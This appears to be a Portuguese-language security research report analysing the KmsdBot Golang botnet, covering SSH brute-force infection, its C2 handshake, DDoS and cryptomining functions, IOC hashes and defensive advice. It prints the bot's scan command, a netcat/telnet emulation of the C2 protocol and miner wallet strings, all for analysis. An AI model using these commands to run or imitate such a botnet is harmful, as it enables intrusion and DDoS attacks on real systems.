KmsdBot: o malware de ataque e mineração
Resumo executivo
O Grupo de inteligência sobre a segurança identificou a infecção de nosso honeypot por um novo malware, que chamamos de KmsdBot.
O botnet infecta sistemas por meio de uma conexão SSH que usa credenciais de login fracas.
Ele é escrito em Golang, uma linguagem cada vez mais comum para os invasores devido à dificuldade da engenharia reversa.
O malware ataca usando UDP, TCP, HTTP POST e GET, juntamente com uma infraestrutura de comando e controle (C2), que se comunica por TCP.
O malware não permanece persistente no sistema infectado como forma de evitar sua detecção.
O malware tem alvos variados, incluindo o setor de jogos, o setor de tecnologia e fabricantes de carros de luxo.
O botnet também tem a capacidade de minerar criptomoedas.
O malware é compatível com várias arquiteturas, como Winx86, Arm64 e mips64, x86_64.
Novo dia, novo malware
A Equipe de Resposta de Inteligência de Segurança (SIRT) da Akamai é responsável por rastrear, detectar, documentar e publicar novas descobertas para proteger a segurança e a estabilidade da Akamai, dos seus clientes e da Internet como um todo. Como parte dessa missão, temos inúmeros honeypots espalhados pela Internet. Os membros da SIRT observam e analisam esses honeypots, o que leva a todos os tipos de descobertas interessantes, assim como nos permite monitorar o que está acontecendo por aí.
Nesta semana, começamos a testar uma nova configuração de honeypot para ver o que mais poderíamos encontrar, especialmente com a chegada do fim do ano. Como é normal observarmos mais atividade maliciosa nessa época, deixamos o novo honeypot mais aberto e acessível durante as fases iniciais de testes e modificações. É a melhor maneira de testá-lo, certo?
E, de fato, encontramos uma entrada de log interessante: um cryptominer com funcionalidade de negação de serviço distribuída (DDoS) especificamente para o setor de jogos. Não é comum observarmos esses tipos de botnets atacando e se espalhando ativamente, especialmente aqueles escritos em Golang. Os alvos variam de empresas de jogos a marcas de carros de luxo e empresas de segurança. Esse malware é quase errático em relação aos seus alvos.
Nesta publicação, descreveremos a história do KmsdBot desde sua detecção pelos nossos mecanismos para que você possa investigá-lo e aumentar a segurança em sua própria organização.
Sempre verifique os logs
Como deixamos o honeypot muito aberto, esperávamos identificar diversos ataques. Afinal de contas, um honeypot deve ser atraente para os invasores. Havia alguns comandos para baixar malware, então começamos a investigar. Após a verificação, havia algumas entradas como a que foi vista na Figura 1.
Fig. 1: entrada de log do comando de download e execução de infecção do malware
Usamos o FTP (File Transfer Protocol) para fazer login no sistema e obter acesso a todos os arquivos disponíveis para download. Assim, conseguimos identificar um pouco as motivações do próprio malware e, possivelmente, os agentes de ameaça relacionados.
Fig. 2: diversas arquiteturas de CPU compatíveis
A Figura 2 mostra a estrutura do diretório do servidor de download do FTP. Podemos ver os diretórios da arquitetura do sistema: alguns contêm binários compilados, enquanto outros estão vazios. Contudo, os diretórios vazios mostram os locais que os autores de malware podem visar posteriormente. O script download.php contém o código de infecção que baixará e executará o malware no servidor Web em que estiver sendo executado:
Fig. 3: o script download.php contém o código de infecção que baixará e executará o malware no servidor Web em que estiver sendo executado
Após uma análise mais aprofundada, parece haver alguns binários compilados de diversas arquiteturas (Figura 3). Embora alguns dos diretórios estejam vazios, algumas arquiteturas (como x86_64 e 386) têm amostras de malware para download. É importante lembrar disso quando falarmos dos alvos mais adiante na publicação.
Fig. 4: binários de tamanho semelhante parecem ser revisões da mesma base de código de malware
Todos os arquivos são binários compilados em Golang.
client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped
Análise
Uma diferença na saída de origem de correção entre o binário do cliente e o binário do ksmdm revela que é provável que sejam a mesma coisa com pequenas diferenças de código. O recurso é um utilitário de engenharia reversa de código aberto em Golang que reconstrói estruturas de binários Golang para auxiliar na engenharia reversa. Trata-se de uma ferramenta essencial, pois vemos cada vez mais invasores utilizando Golang em seus ataques, provavelmente porque representa um desafio maior à engenharia reversa.
Mesmo malware, tudo diferente
O nome do pacote Go "/root/client" é o mesmo para a maioria dos binários, o que indica que eles sejam o mesmo malware, ou talvez revisões diferentes com funcionalidade mais recente. Malwares são atualizados com frequência, mas este vai em várias direções, o que é diferente. Acreditamos que há um binário de cliente que interage com o C2, faz atualizações e inicia e interrompe o processo de mineração. O outro binário parece executar operações de mineração e operações de ataque.
$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)
< tcpclimb Lines: 60 to 88 (28)
---
> start Lines: 10 to 26 (16)
> startfunc1 Lines: 17 to 28 (11)
> startfunc2 Lines: 20 to 20 (0)
> udpclimb Lines: 28 to 58 (30)
> tcpclimb Lines: 58 to 86 (28)
O primeiro alvo observado desse malware foi uma empresa de jogos chamada FiveM, um cliente que permite que as pessoas hospedem servidores particulares personalizados do Grand Theft Auto Online. A Figura 4 mostra um soquete UDP sendo aberto e um pacote sendo criado com um token de sessão da FiveM. Isso faz com que o servidor acredite que um usuário está iniciando uma nova sessão e gaste recursos adicionais além da largura de banda da rede. O malware não só inclui ataques direcionados específicos, como também ataques genéricos de Camada 4 e Camada 7.
Fig. 5: desmontagem da função sym.main.udpfivemtoken mostrando a criação de um pacote UDP com dados de token FiveM
Varredura e disseminação
Uma análise da amostra do ksmdx revelou funções de operações de varredura e atualizações de software, além de controle do processo de mineração.
Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)
O binário ksmdx é um downloader que notifica o C2 de que o sistema foi infectado enviando-lhe uma solicitação HTTP POST com a notificação de "Bruh Started:".
$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds
Vemos a solicitação GET nos logs do servidor HTTP:
192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"
Executando um ouvinte na porta 45833, observamos a mensagem POST de confirmação de execução:
O bot pode receber o comando !scan para baixar uma lista de credenciais de login (Figura 5) a serem utilizadas ao procurar portas SSH abertas:
!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd
Fig. 6: o arquivo kzmds é uma lista de combinações de nome de usuário e senha
Comunicação com o C2
[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
Quando verifiquei meus logs novamente, percebi que o malware estava atacando o honeypot de um novo endereço IP. Ele estava carregando novos binários que tinham um novo endereço IP C2 integrado.
Observando o tráfego de rede, vemos que a conexão é inicializada com um byte nulo de 0x00 pelo sistema infectado, e uma resposta de 0x01 é enviada do C2. Em seguida, o sistema infectado responde com um 2 em 0x02 hexadecimal.
[pid 2514865] write(4, "0x02", 4) = 4
And 0x01 is the response
xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000: 4500 0038 adf3 4000 3a06 9b4a ab16 1e1f E..8..@.:..J....
0x0010: c63a 6812 c8bc cc38 81f9 f90a abeb 552a .:h....8......U*
0x0020: 8018 01fe f2b4 0000 0101 080a 3cc2 30e0 ............<.0.
0x0030: f269 b8b6 3078 3031 .i..0x01
Podemos testar isso rapidamente com o utilitário netcat.
$ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01
[pid 2516369] write(4, "0x00", 4) = 4
It looks like 0x02 is the heartbeat
xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000: 4500 0038 3010 4000 4006 132e c63a 6812 E..80.@.@....:h.
0x0010: ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2 .....8....T.....
0x0020: 8018 01f6 f7ac 0000 0101 080a f268 5151 .............hQQ
0x0030: 3cc0 b581 3078 3032 <...0x02
Interação com o C2
O texto destacado em verde abaixo é a resposta do C2, e o texto destacado em azul é onde emulei o malware enviando a resposta 0x02.
% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01
Criptomineração
Possíveis contas de usuário de carteiras de criptomoedas da função sym.main.randomwallet() são mostradas abaixo. Suspeito que elas sejam escolhidas aleatoriamente para contribuir com vários pools de mineração. Ao observar o botnet, não percebi nenhuma atividade de criptomineração. O botnet estava envolvido apenas com DDoS. No entanto, o bot consegue executar criptomineração. Identifiquei um comando ./ksmdr -o pool.hashvault.pro em que ksmdr é, na verdade, o binário xmrig renomeado.
│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"
A análise das estruturas de origem mostra que alguns binários são versões atualizadas e diferentes da mesma base de código. Portanto, parece que esse botnet está em desenvolvimento ativo.
$ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< (*Command)Handle Lines: 32 to 136 (104)
---
> (*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)
< reloadminer Lines: 193 to 208 (15)
---
> scan Lines: 23 to 52 (29)
> startscan Lines: 52 to 75 (23)
> stopscan Lines: 75 to 97 (22)
> updateminer Lines: 97 to 144 (47)
> stopmine Lines: 144 to 166 (22)
> updateclient Lines: 166 to 202 (36)
> loadclient Lines: 202 to 221 (19)
> removefile Lines: 221 to 235 (14)
> startminer Lines: 235 to 248 (13)
> reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)
< bigdata Lines: 344 to 386 (42)
---
> getrandpath Lines: 11 to 61 (50)
> get Lines: 61 to 108 (47)
> fivem Lines: 108 to 158 (50)
> fivemguid Lines: 158 to 206 (48)
> post1 Lines: 206 to 257 (51)
> post Lines: 257 to 346 (89)
> bigdata Lines: 346 to 388 (42)
Análise de tráfego de ataque
Os ataques que observei foram pacotes TCP/UDP de Camada 4 com dados aleatórios como payload ou HTTP de Camada 7 com solicitações GET e POST do caminho raiz ou um caminho especificado definido no comando de ataque (Figura 6).
Fig. 7: solicitações POST de ataque
As capturas de tela abaixo mostram cabeçalhos de solicitação alterados com solicitantes aleatórios sem cabeçalho. Modificamos algumas dessas imagens para fins de privacidade.
Na Figura 8, vemos um comando !post vindo do C2 ordenando um ataque contra um alvo.
Fig. 8: comando de ataque do C2
O C2 é definido na função sym.main.connect() e é mostrado nas Figuras 8, 9 e 10.
Fig. 9: desmontagem da função de comunicação C2
Fig. 10: desmontagem do código de resposta 0x02
Fig. 11: pacote de ataque Big Data TCP
IOCs
SHA256
701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40 client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51 kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10 ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910 kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61 kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533 kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003 kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84 kmsd.s390x
Conclusão
Esse botnet é um ótimo exemplo da complexidade da segurança e do quanto ela evolui. O que parece ter começado como um bot de app de jogos passou a atacar grandes marcas de luxo. A novidade é a forma de infecção: por meio de uma conexão SSH que usa credenciais de login fracas. A boa notícia é que se aplicam as mesmas técnicas recomendadas para manter a segurança dos sistemas e redes da maioria das organizações.
Não use credenciais fracas ou padrão em servidores ou aplicações implantadas.
Certifique-se de atualizar as aplicações implantadas com os patches de segurança mais recentes e verifique-as de tempos em tempos.
Use a autenticação de chaves públicas em suas conexões SSH. É a melhor forma de evitar esse tipo de comprometimento do sistema.
A SIRT da Akamai continuará monitorando essa atividade e publicando atualizações à medida que forem disponibilizadas.
Para mais pesquisas e atualizações em tempo real, siga-nos no Twitter.